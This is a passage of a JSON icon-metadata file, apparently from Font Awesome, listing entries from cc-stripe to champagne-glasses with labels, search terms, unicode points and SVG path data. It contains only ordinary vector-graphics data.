1.8-3.2 3.5 0 1.2 19.5 56.8 21.2 62.1-2.7 3.8-20.5 28.6-20.5 31.6 0 1.8 1.5 3.2 3.2 3.2h19.2c1.8-.1 3.5-1.1 4.5-2.6zm159.3-106.7c0-21-16.2-28-34.7-28h-39.7c-2.7 0-5.2 2-5.5 4.7l-16.2 102c-.2 2 1.3 4 3.2 4h20.5c2 0 3.5-1.5 4-3.2l4.5-29c1-7.2 13.2-4.7 18-4.7 28.4 0 45.9-17 45.9-45.8zm84.2 8.8h-19c-3.8 0-4 5.5-4.3 8.2-5.5-8.5-14-10-23.7-10-24.5 0-43.2 21.5-43.2 45.2 0 19.5 12.2 32.2 31.7 32.2 9.3 0 20.5-4.9 26.5-11.9-.3 1.5-1 4.7-1 6.2 0 2.3 1 4 3.2 4H484c2.7 0 5-2.9 5.5-5.7l10.2-64.3c.3-1.9-1.2-3.9-3.2-3.9zm47.5-33.3c0-2-1.5-3.5-3.2-3.5h-18.5c-1.5 0-3 1.2-3.2 2.7l-16.2 104-.3.5c0 1.8 1.5 3.5 3.5 3.5h16.5c2.5 0 5-2.9 5.2-5.7L544 191.2v-.3zm-90 51.8c-12.2 0-21.7 9.7-21.7 22 0 9.7 7 15 16.2 15 12 0 21.7-9.2 21.7-21.5.1-9.8-6.9-15.5-16.2-15.5z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M186.3 258.2c0 12.2-9.7 21.5-22 21.5-9.2 0-16-5.2-16-15 0-12.2 9.5-22 21.7-22 9.3 0 16.3 5.7 16.3 15.5zM80.5 209.7h-4.7c-1.5 0-3 1-3.2 2.7l-4.3 26.7 8.2-.3c11 0 19.5-1.5 21.5-14.2 2.3-13.4-6.2-14.9-17.5-14.9zm284 0H360c-1.8 0-3 1-3.2 2.7l-4.2 26.7 8-.3c13 0 22-3 22-18-.1-10.6-9.6-11.1-18.1-11.1zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM128.3 215.4c0-21-16.2-28-34.7-28h-40c-2.5 0-5 2-5.2 4.7L32 294.2c-.3 2 1.2 4 3.2 4h19c2.7 0 5.2-2.9 5.5-5.7l4.5-26.6c1-7.2 13.2-4.7 18-4.7 28.6 0 46.1-17 46.1-45.8zm84.2 8.8h-19c-3.8 0-4 5.5-4.2 8.2-5.8-8.5-14.2-10-23.7-10-24.5 0-43.2 21.5-43.2 45.2 0 19.5 12.2 32.2 31.7 32.2 9 0 20.2-4.9 26.5-11.9-.5 1.5-1 4.7-1 6.2 0 2.3 1 4 3.2 4H200c2.7 0 5-2.9 5.5-5.7l10.2-64.3c.3-1.9-1.2-3.9-3.2-3.9zm40.5 97.9l63.7-92.6c.5-.5.5-1 .5-1.7 0-1.7-1.5-3.5-3.2-3.5h-19.2c-1.7 0-3.5 1-4.5 2.5l-26.5 39-11-37.5c-.8-2.2-3-4-5.5-4h-18.7c-1.7 0-3.2 1.8-3.2 3.5 0 1.2 19.5 56.8 21.2 62.1-2.7 3.8-20.5 28.6-20.5 31.6 0 1.8 1.5 3.2 3.2 3.2h19.2c1.8-.1 3.5-1.1 4.5-2.6zm159.3-106.7c0-21-16.2-28-34.7-28h-39.7c-2.7 0-5.2 2-5.5 4.7l-16.2 102c-.2 2 1.3 4 3.2 4h20.5c2 0 3.5-1.5 4-3.2l4.5-29c1-7.2 13.2-4.7 18-4.7 28.4 0 45.9-17 45.9-45.8zm84.2 8.8h-19c-3.8 0-4 5.5-4.3 8.2-5.5-8.5-14-10-23.7-10-24.5 0-43.2 21.5-43.2 45.2 0 19.5 12.2 32.2 31.7 32.2 9.3 0 20.5-4.9 26.5-11.9-.3 1.5-1 4.7-1 6.2 0 2.3 1 4 3.2 4H484c2.7 0 5-2.9 5.5-5.7l10.2-64.3c.3-1.9-1.2-3.9-3.2-3.9zm47.5-33.3c0-2-1.5-3.5-3.2-3.5h-18.5c-1.5 0-3 1.2-3.2 2.7l-16.2 104-.3.5c0 1.8 1.5 3.5 3.5 3.5h16.5c2.5 0 5-2.9 5.2-5.7L544 191.2v-.3zm-90 51.8c-12.2 0-21.7 9.7-21.7 22 0 9.7 7 15 16.2 15 12 0 21.7-9.2 21.7-21.5.1-9.8-6.9-15.5-16.2-15.5z"
      }
    },
    "free": ["brands"]
  },
  "cc-stripe": {
    "changes": ["4.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1f5",
    "label": "Stripe Credit Card",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M492.4 220.8c-8.9 0-18.7 6.7-18.7 22.7h36.7c0-16-9.3-22.7-18-22.7zM375 223.4c-8.2 0-13.3 2.9-17 7l.2 52.8c3.5 3.7 8.5 6.7 16.8 6.7 13.1 0 21.9-14.3 21.9-33.4 0-18.6-9-33.2-21.9-33.1zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM122.2 281.1c0 25.6-20.3 40.1-49.9 40.3-12.2 0-25.6-2.4-38.8-8.1v-33.9c12 6.4 27.1 11.3 38.9 11.3 7.9 0 13.6-2.1 13.6-8.7 0-17-54-10.6-54-49.9 0-25.2 19.2-40.2 48-40.2 11.8 0 23.5 1.8 35.3 6.5v33.4c-10.8-5.8-24.5-9.1-35.3-9.1-7.5 0-12.1 2.2-12.1 7.7 0 16 54.3 8.4 54.3 50.7zm68.8-56.6h-27V275c0 20.9 22.5 14.4 27 12.6v28.9c-4.7 2.6-13.3 4.7-24.9 4.7-21.1 0-36.9-15.5-36.9-36.5l.2-113.9 34.7-7.4v30.8H191zm74 2.4c-4.5-1.5-18.7-3.6-27.1 7.4v84.4h-35.5V194.2h30.7l2.2 10.5c8.3-15.3 24.9-12.2 29.6-10.5h.1zm44.1 91.8h-35.7V194.2h35.7zm0-142.9l-35.7 7.6v-28.9l35.7-7.6zm74.1 145.5c-12.4 0-20-5.3-25.1-9l-.1 40.2-35.5 7.5V194.2h31.3l1.8 8.8c4.9-4.5 13.9-11.1 27.8-11.1 24.9 0 48.4 22.5 48.4 63.8 0 45.1-23.2 65.5-48.6 65.6zm160.4-51.5h-69.5c1.6 16.6 13.8 21.5 27.6 21.5 14.1 0 25.2-3 34.9-7.9V312c-9.7 5.3-22.4 9.2-39.4 9.2-34.6 0-58.8-21.7-58.8-64.5 0-36.2 20.5-64.9 54.3-64.9 33.7 0 51.3 28.7 51.3 65.1 0 3.5-.3 10.9-.4 12.9z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M492.4 220.8c-8.9 0-18.7 6.7-18.7 22.7h36.7c0-16-9.3-22.7-18-22.7zM375 223.4c-8.2 0-13.3 2.9-17 7l.2 52.8c3.5 3.7 8.5 6.7 16.8 6.7 13.1 0 21.9-14.3 21.9-33.4 0-18.6-9-33.2-21.9-33.1zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM122.2 281.1c0 25.6-20.3 40.1-49.9 40.3-12.2 0-25.6-2.4-38.8-8.1v-33.9c12 6.4 27.1 11.3 38.9 11.3 7.9 0 13.6-2.1 13.6-8.7 0-17-54-10.6-54-49.9 0-25.2 19.2-40.2 48-40.2 11.8 0 23.5 1.8 35.3 6.5v33.4c-10.8-5.8-24.5-9.1-35.3-9.1-7.5 0-12.1 2.2-12.1 7.7 0 16 54.3 8.4 54.3 50.7zm68.8-56.6h-27V275c0 20.9 22.5 14.4 27 12.6v28.9c-4.7 2.6-13.3 4.7-24.9 4.7-21.1 0-36.9-15.5-36.9-36.5l.2-113.9 34.7-7.4v30.8H191zm74 2.4c-4.5-1.5-18.7-3.6-27.1 7.4v84.4h-35.5V194.2h30.7l2.2 10.5c8.3-15.3 24.9-12.2 29.6-10.5h.1zm44.1 91.8h-35.7V194.2h35.7zm0-142.9l-35.7 7.6v-28.9l35.7-7.6zm74.1 145.5c-12.4 0-20-5.3-25.1-9l-.1 40.2-35.5 7.5V194.2h31.3l1.8 8.8c4.9-4.5 13.9-11.1 27.8-11.1 24.9 0 48.4 22.5 48.4 63.8 0 45.1-23.2 65.5-48.6 65.6zm160.4-51.5h-69.5c1.6 16.6 13.8 21.5 27.6 21.5 14.1 0 25.2-3 34.9-7.9V312c-9.7 5.3-22.4 9.2-39.4 9.2-34.6 0-58.8-21.7-58.8-64.5 0-36.2 20.5-64.9 54.3-64.9 33.7 0 51.3 28.7 51.3 65.1 0 3.5-.3 10.9-.4 12.9z"
      }
    },
    "free": ["brands"]
  },
  "cc-visa": {
    "changes": ["4.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1f0",
    "label": "Visa Credit Card",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014483,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M470.1 231.3s7.6 37.2 9.3 45H446c3.3-8.9 16-43.5 16-43.5-.2.3 3.3-9.1 5.3-14.9l2.8 13.4zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM152.5 331.2L215.7 176h-42.5l-39.3 106-4.3-21.5-14-71.4c-2.3-9.9-9.4-12.7-18.2-13.1H32.7l-.7 3.1c15.8 4 29.9 9.8 42.2 17.1l35.8 135h42.5zm94.4.2L272.1 176h-40.2l-25.1 155.4h40.1zm139.9-50.8c.2-17.7-10.6-31.2-33.7-42.3-14.1-7.1-22.7-11.9-22.7-19.2.2-6.6 7.3-13.4 23.1-13.4 13.1-.3 22.7 2.8 29.9 5.9l3.6 1.7 5.5-33.6c-7.9-3.1-20.5-6.6-36-6.6-39.7 0-67.6 21.2-67.8 51.4-.3 22.3 20 34.7 35.2 42.2 15.5 7.6 20.8 12.6 20.8 19.3-.2 10.4-12.6 15.2-24.1 15.2-16 0-24.6-2.5-37.7-8.3l-5.3-2.5-5.6 34.9c9.4 4.3 26.8 8.1 44.8 8.3 42.2.1 69.7-20.8 70-53zM528 331.4L495.6 176h-31.1c-9.6 0-16.9 2.8-21 12.9l-59.7 142.5H426s6.9-19.2 8.4-23.3H486c1.2 5.5 4.8 23.3 4.8 23.3H528z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M470.1 231.3s7.6 37.2 9.3 45H446c3.3-8.9 16-43.5 16-43.5-.2.3 3.3-9.1 5.3-14.9l2.8 13.4zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM152.5 331.2L215.7 176h-42.5l-39.3 106-4.3-21.5-14-71.4c-2.3-9.9-9.4-12.7-18.2-13.1H32.7l-.7 3.1c15.8 4 29.9 9.8 42.2 17.1l35.8 135h42.5zm94.4.2L272.1 176h-40.2l-25.1 155.4h40.1zm139.9-50.8c.2-17.7-10.6-31.2-33.7-42.3-14.1-7.1-22.7-11.9-22.7-19.2.2-6.6 7.3-13.4 23.1-13.4 13.1-.3 22.7 2.8 29.9 5.9l3.6 1.7 5.5-33.6c-7.9-3.1-20.5-6.6-36-6.6-39.7 0-67.6 21.2-67.8 51.4-.3 22.3 20 34.7 35.2 42.2 15.5 7.6 20.8 12.6 20.8 19.3-.2 10.4-12.6 15.2-24.1 15.2-16 0-24.6-2.5-37.7-8.3l-5.3-2.5-5.6 34.9c9.4 4.3 26.8 8.1 44.8 8.3 42.2.1 69.7-20.8 70-53zM528 331.4L495.6 176h-31.1c-9.6 0-16.9 2.8-21 12.9l-59.7 142.5H426s6.9-19.2 8.4-23.3H486c1.2 5.5 4.8 23.3 4.8 23.3H528z"
      }
    },
    "free": ["brands"]
  },
  "cedi-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Cedi Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e0df",
    "label": "Cedi Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M256 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V66.7C101.2 81.9 32 160.9 32 256s69.2 174.1 160 189.3V480c0 17.7 14.3 32 32 32s32-14.3 32-32V445.3c30.9-5.2 59.2-17.7 83.2-35.8c14.1-10.6 17-30.7 6.4-44.8s-30.7-17-44.8-6.4c-13.2 9.9-28.3 17.3-44.8 21.6V132c16.4 4.2 31.6 11.6 44.8 21.6c14.1 10.6 34.2 7.8 44.8-6.4s7.8-34.2-6.4-44.8c-24-18-52.4-30.6-83.2-35.8V32zM192 132V380c-55.2-14.2-96-64.3-96-124s40.8-109.8 96-124z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M256 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V66.7C101.2 81.9 32 160.9 32 256s69.2 174.1 160 189.3V480c0 17.7 14.3 32 32 32s32-14.3 32-32V445.3c30.9-5.2 59.2-17.7 83.2-35.8c14.1-10.6 17-30.7 6.4-44.8s-30.7-17-44.8-6.4c-13.2 9.9-28.3 17.3-44.8 21.6V132c16.4 4.2 31.6 11.6 44.8 21.6c14.1 10.6 34.2 7.8 44.8-6.4s7.8-34.2-6.4-44.8c-24-18-52.4-30.6-83.2-35.8V32zM192 132V380c-55.2-14.2-96-64.3-96-124s40.8-109.8 96-124z"
      }
    },
    "free": ["solid"]
  },
  "cent-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Cent Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e3f5",
    "label": "Cent Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M224 0c17.7 0 32 14.3 32 32V66.7c30.9 5.2 59.2 17.7 83.2 35.8c14.1 10.6 17 30.7 6.4 44.8s-30.7 17-44.8 6.4C279.4 137.5 252.9 128 224 128c-70.7 0-128 57.3-128 128s57.3 128 128 128c28.9 0 55.4-9.5 76.8-25.6c14.1-10.6 34.2-7.8 44.8 6.4s7.8 34.2-6.4 44.8c-24 18-52.4 30.6-83.2 35.8V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V445.3C101.2 430.1 32 351.1 32 256s69.2-174.1 160-189.3V32c0-17.7 14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M224 0c17.7 0 32 14.3 32 32V66.7c30.9 5.2 59.2 17.7 83.2 35.8c14.1 10.6 17 30.7 6.4 44.8s-30.7 17-44.8 6.4C279.4 137.5 252.9 128 224 128c-70.7 0-128 57.3-128 128s57.3 128 128 128c28.9 0 55.4-9.5 76.8-25.6c14.1-10.6 34.2-7.8 44.8 6.4s7.8 34.2-6.4 44.8c-24 18-52.4 30.6-83.2 35.8V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V445.3C101.2 430.1 32 351.1 32 256s69.2-174.1 160-189.3V32c0-17.7 14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "centercode": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f380",
    "label": "Centercode",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M329.2 268.6c-3.8 35.2-35.4 60.6-70.6 56.8-35.2-3.8-60.6-35.4-56.8-70.6 3.8-35.2 35.4-60.6 70.6-56.8 35.1 3.8 60.6 35.4 56.8 70.6zm-85.8 235.1C96.7 496-8.2 365.5 10.1 224.3c11.2-86.6 65.8-156.9 139.1-192 161-77.1 349.7 37.4 354.7 216.6 4.1 147-118.4 262.2-260.5 254.8zm179.9-180c27.9-118-160.5-205.9-237.2-234.2-57.5 56.3-69.1 188.6-33.8 344.4 68.8 15.8 169.1-26.4 271-110.2z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M329.2 268.6c-3.8 35.2-35.4 60.6-70.6 56.8-35.2-3.8-60.6-35.4-56.8-70.6 3.8-35.2 35.4-60.6 70.6-56.8 35.1 3.8 60.6 35.4 56.8 70.6zm-85.8 235.1C96.7 496-8.2 365.5 10.1 224.3c11.2-86.6 65.8-156.9 139.1-192 161-77.1 349.7 37.4 354.7 216.6 4.1 147-118.4 262.2-260.5 254.8zm179.9-180c27.9-118-160.5-205.9-237.2-234.2-57.5 56.3-69.1 188.6-33.8 344.4 68.8 15.8 169.1-26.4 271-110.2z"
      }
    },
    "free": ["brands"]
  },
  "centos": {
    "changes": ["5.6.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": ["linux", "operating system", "os"]
    },
    "styles": ["brands"],
    "unicode": "f789",
    "label": "Centos",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014478,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M289.6 97.5l31.6 31.7-76.3 76.5V97.5zm-162.4 31.7l76.3 76.5V97.5h-44.7zm41.5-41.6h44.7v127.9l10.8 10.8 10.8-10.8V87.6h44.7L224.2 32zm26.2 168.1l-10.8-10.8H55.5v-44.8L0 255.7l55.5 55.6v-44.8h128.6l10.8-10.8zm79.3-20.7h107.9v-44.8l-31.6-31.7zm173.3 20.7L392 200.1v44.8H264.3l-10.8 10.8 10.8 10.8H392v44.8l55.5-55.6zM65.4 176.2l32.5-31.7 90.3 90.5h15.3v-15.3l-90.3-90.5 31.6-31.7H65.4zm316.7-78.7h-78.5l31.6 31.7-90.3 90.5V235h15.3l90.3-90.5 31.6 31.7zM203.5 413.9V305.8l-76.3 76.5 31.6 31.7h44.7zM65.4 235h108.8l-76.3-76.5-32.5 31.7zm316.7 100.2l-31.6 31.7-90.3-90.5h-15.3v15.3l90.3 90.5-31.6 31.7h78.5zm0-58.8H274.2l76.3 76.5 31.6-31.7zm-60.9 105.8l-76.3-76.5v108.1h44.7zM97.9 352.9l76.3-76.5H65.4v44.8zm181.8 70.9H235V295.9l-10.8-10.8-10.8 10.8v127.9h-44.7l55.5 55.6zm-166.5-41.6l90.3-90.5v-15.3h-15.3l-90.3 90.5-32.5-31.7v78.7h79.4z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M289.6 97.5l31.6 31.7-76.3 76.5V97.5zm-162.4 31.7l76.3 76.5V97.5h-44.7zm41.5-41.6h44.7v127.9l10.8 10.8 10.8-10.8V87.6h44.7L224.2 32zm26.2 168.1l-10.8-10.8H55.5v-44.8L0 255.7l55.5 55.6v-44.8h128.6l10.8-10.8zm79.3-20.7h107.9v-44.8l-31.6-31.7zm173.3 20.7L392 200.1v44.8H264.3l-10.8 10.8 10.8 10.8H392v44.8l55.5-55.6zM65.4 176.2l32.5-31.7 90.3 90.5h15.3v-15.3l-90.3-90.5 31.6-31.7H65.4zm316.7-78.7h-78.5l31.6 31.7-90.3 90.5V235h15.3l90.3-90.5 31.6 31.7zM203.5 413.9V305.8l-76.3 76.5 31.6 31.7h44.7zM65.4 235h108.8l-76.3-76.5-32.5 31.7zm316.7 100.2l-31.6 31.7-90.3-90.5h-15.3v15.3l90.3 90.5-31.6 31.7h78.5zm0-58.8H274.2l76.3 76.5 31.6-31.7zm-60.9 105.8l-76.3-76.5v108.1h44.7zM97.9 352.9l76.3-76.5H65.4v44.8zm181.8 70.9H235V295.9l-10.8-10.8-10.8 10.8v127.9h-44.7l55.5 55.6zm-166.5-41.6l90.3-90.5v-15.3h-15.3l-90.3 90.5-32.5-31.7v78.7h79.4z"
      }
    },
    "free": ["brands"]
  },
  "certificate": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f0a3"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["badge", "star", "verified"]
    },
    "styles": ["solid"],
    "unicode": "f0a3",
    "label": "Certificate",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M211 7.3C205 1 196-1.4 187.6 .8s-14.9 8.9-17.1 17.3L154.7 80.6l-62-17.5c-8.4-2.4-17.4 0-23.5 6.1s-8.5 15.1-6.1 23.5l17.5 62L18.1 170.6c-8.4 2.1-15 8.7-17.3 17.1S1 205 7.3 211l46.2 45L7.3 301C1 307-1.4 316 .8 324.4s8.9 14.9 17.3 17.1l62.5 15.8-17.5 62c-2.4 8.4 0 17.4 6.1 23.5s15.1 8.5 23.5 6.1l62-17.5 15.8 62.5c2.1 8.4 8.7 15 17.1 17.3s17.3-.2 23.4-6.4l45-46.2 45 46.2c6.1 6.2 15 8.7 23.4 6.4s14.9-8.9 17.1-17.3l15.8-62.5 62 17.5c8.4 2.4 17.4 0 23.5-6.1s8.5-15.1 6.1-23.5l-17.5-62 62.5-15.8c8.4-2.1 15-8.7 17.3-17.1s-.2-17.3-6.4-23.4l-46.2-45 46.2-45c6.2-6.1 8.7-15 6.4-23.4s-8.9-14.9-17.3-17.1l-62.5-15.8 17.5-62c2.4-8.4 0-17.4-6.1-23.5s-15.1-8.5-23.5-6.1l-62 17.5L341.4 18.1c-2.1-8.4-8.7-15-17.1-17.3S307 1 301 7.3L256 53.5 211 7.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M211 7.3C205 1 196-1.4 187.6 .8s-14.9 8.9-17.1 17.3L154.7 80.6l-62-17.5c-8.4-2.4-17.4 0-23.5 6.1s-8.5 15.1-6.1 23.5l17.5 62L18.1 170.6c-8.4 2.1-15 8.7-17.3 17.1S1 205 7.3 211l46.2 45L7.3 301C1 307-1.4 316 .8 324.4s8.9 14.9 17.3 17.1l62.5 15.8-17.5 62c-2.4 8.4 0 17.4 6.1 23.5s15.1 8.5 23.5 6.1l62-17.5 15.8 62.5c2.1 8.4 8.7 15 17.1 17.3s17.3-.2 23.4-6.4l45-46.2 45 46.2c6.1 6.2 15 8.7 23.4 6.4s14.9-8.9 17.1-17.3l15.8-62.5 62 17.5c8.4 2.4 17.4 0 23.5-6.1s8.5-15.1 6.1-23.5l-17.5-62 62.5-15.8c8.4-2.1 15-8.7 17.3-17.1s-.2-17.3-6.4-23.4l-46.2-45 46.2-45c6.2-6.1 8.7-15 6.4-23.4s-8.9-14.9-17.3-17.1l-62.5-15.8 17.5-62c2.4-8.4 0-17.4-6.1-23.5s-15.1-8.5-23.5-6.1l-62 17.5L341.4 18.1c-2.1-8.4-8.7-15-17.1-17.3S307 1 301 7.3L256 53.5 211 7.3z"
      }
    },
    "free": ["solid"]
  },
  "chair": {
    "aliases": {
      "unicodes": {
        "composite": ["1fa91"],
        "secondary": ["10f6c0"]
      }
    },
    "changes": ["5.4.0", "5.11.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["chair", "furniture", "seat", "sit"]
    },
    "styles": ["solid"],
    "unicode": "f6c0",
    "label": "Chair",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M248 48V256h48V58.7c23.9 13.8 40 39.7 40 69.3V256h48V128C384 57.3 326.7 0 256 0H192C121.3 0 64 57.3 64 128V256h48V128c0-29.6 16.1-55.5 40-69.3V256h48V48h48zM48 288c-12.1 0-23.2 6.8-28.6 17.7l-16 32c-5 9.9-4.4 21.7 1.4 31.1S20.9 384 32 384l0 96c0 17.7 14.3 32 32 32s32-14.3 32-32V384H352v96c0 17.7 14.3 32 32 32s32-14.3 32-32V384c11.1 0 21.4-5.7 27.2-15.2s6.4-21.2 1.4-31.1l-16-32C423.2 294.8 412.1 288 400 288H48z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M248 48V256h48V58.7c23.9 13.8 40 39.7 40 69.3V256h48V128C384 57.3 326.7 0 256 0H192C121.3 0 64 57.3 64 128V256h48V128c0-29.6 16.1-55.5 40-69.3V256h48V48h48zM48 288c-12.1 0-23.2 6.8-28.6 17.7l-16 32c-5 9.9-4.4 21.7 1.4 31.1S20.9 384 32 384l0 96c0 17.7 14.3 32 32 32s32-14.3 32-32V384H352v96c0 17.7 14.3 32 32 32s32-14.3 32-32V384c11.1 0 21.4-5.7 27.2-15.2s6.4-21.2 1.4-31.1l-16-32C423.2 294.8 412.1 288 400 288H48z"
      }
    },
    "free": ["solid"]
  },
  "chalkboard": {
    "aliases": {
      "names": ["blackboard"],
      "unicodes": {
        "secondary": ["10f51b"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "blackboard",
        "learning",
        "school",
        "teaching",
        "whiteboard",
        "writing"
      ]
    },
    "styles": ["solid"],
    "unicode": "f51b",
    "label": "Chalkboard",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M96 32C60.7 32 32 60.7 32 96V384H96V96l384 0V384h64V96c0-35.3-28.7-64-64-64H96zM224 384v32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H544c17.7 0 32-14.3 32-32s-14.3-32-32-32H416V384c0-17.7-14.3-32-32-32H256c-17.7 0-32 14.3-32 32z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M96 32C60.7 32 32 60.7 32 96V384H96V96l384 0V384h64V96c0-35.3-28.7-64-64-64H96zM224 384v32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H544c17.7 0 32-14.3 32-32s-14.3-32-32-32H416V384c0-17.7-14.3-32-32-32H256c-17.7 0-32 14.3-32 32z"
      }
    },
    "free": ["solid"]
  },
  "chalkboard-user": {
    "aliases": {
      "names": ["chalkboard-teacher"],
      "unicodes": {
        "secondary": ["10f51c"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "blackboard",
        "instructor",
        "learning",
        "professor",
        "school",
        "whiteboard",
        "writing"
      ]
    },
    "styles": ["solid"],
    "unicode": "f51c",
    "label": "Chalkboard User",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M160 64c0-35.3 28.7-64 64-64H576c35.3 0 64 28.7 64 64V352c0 35.3-28.7 64-64 64H336.8c-11.8-25.5-29.9-47.5-52.4-64H384V320c0-17.7 14.3-32 32-32h64c17.7 0 32 14.3 32 32v32h64V64L224 64v49.1C205.2 102.2 183.3 96 160 96V64zm0 64a96 96 0 1 1 0 192 96 96 0 1 1 0-192zM133.3 352h53.3C260.3 352 320 411.7 320 485.3c0 14.7-11.9 26.7-26.7 26.7H26.7C11.9 512 0 500.1 0 485.3C0 411.7 59.7 352 133.3 352z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M160 64c0-35.3 28.7-64 64-64H576c35.3 0 64 28.7 64 64V352c0 35.3-28.7 64-64 64H336.8c-11.8-25.5-29.9-47.5-52.4-64H384V320c0-17.7 14.3-32 32-32h64c17.7 0 32 14.3 32 32v32h64V64L224 64v49.1C205.2 102.2 183.3 96 160 96V64zm0 64a96 96 0 1 1 0 192 96 96 0 1 1 0-192zM133.3 352h53.3C260.3 352 320 411.7 320 485.3c0 14.7-11.9 26.7-26.7 26.7H26.7C11.9 512 0 500.1 0 485.3C0 411.7 59.7 352 133.3 352z"
      }
    },
    "free": ["solid"]
  },
  "champagne-glasses": {
    "aliases": {
      "names": ["glass-cheers"],
      "unicodes": {
        "composite": ["1f942"],
        "secondary": ["10f79f"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "alcohol",
        "bar",
        "beverage",
        "celebrate",
        "celebration",
        "champagne",
        "clink",
        "clinking glasses",
        "drink",
        "glass",
        "holiday",
        "new year's eve",
        "party",
        "toast"
      ]
    },
    "styles": ["solid"],
    "unicode": "f79f",
    "label": "Champagne Glasses",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
